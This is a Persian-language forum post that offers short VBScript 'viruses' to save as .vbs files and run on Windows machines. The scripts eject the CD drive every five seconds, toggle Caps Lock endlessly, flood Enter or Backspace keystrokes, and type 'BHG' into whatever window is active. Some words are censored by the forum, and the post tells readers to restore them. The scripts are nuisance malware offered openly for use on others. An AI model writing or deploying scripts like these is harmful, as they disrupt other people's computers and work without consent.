ویروس های vbs

[l4tr0d3ctism]

تو این تاپیک کلیه ی های ویروس هایی که با Visual Basic ******ing Edition در Wscipt با استفاده از Notepade ساخته میشه رو معرفی میکنیم .


فایل ها با نام name.VBS ذخیره بشه

برای از کار انداختن اونها می تونید W****** را در Taskmgr را End نمایید .

=======================================
=======================================
=======================================

این ویروس میاد هر 5 ثانیه یک بار سی دی رم رو باز میکنه

[LEFT]
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
w******.sleep 5000
loop
[/LEFT]

---------------------------------
این ویروس میاد چراغ Caps lock رو روشن خاموش میکنه

[LEFT]
Set wshShell =w******.CreateObject("W******.Shell")
do
w******.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
[/LEFT]

-----------------------------------

این نوع ویروس ویندوز رو دیوانه میکنه رو یاهو هم کر میکنه pm های سریع میده

[LEFT]
Set wshShell = w******.CreateObject("W******.Shell")
do
w******.sleep 100
wshshell.sendkeys "~(enter)"
loop
[/LEFT]

[LEFT]
MsgBox "Let's go back a few steps"
Set wshShell =w******.CreateObject("W******.Shell")
do
w******.sleep 100
wshshell.sendkeys "{bs}"
loop[/LEFT]

---------------------------------------

این ویروس کلمه ی BHG رو تو pm یاهو و یا Notoad و Word و ... می نویسه کلا

[LEFT]
Set wshShell = w******.CreateObject("W******.Shell")
do
w******.sleep 100
wshshell.sendkeys "BHGl."
loop[/LEFT]

----------------------------------------------

======================================
گویا کلمه ی S C R i P T فیلتره نگید اینا کار نمی کنه ویرایش کنید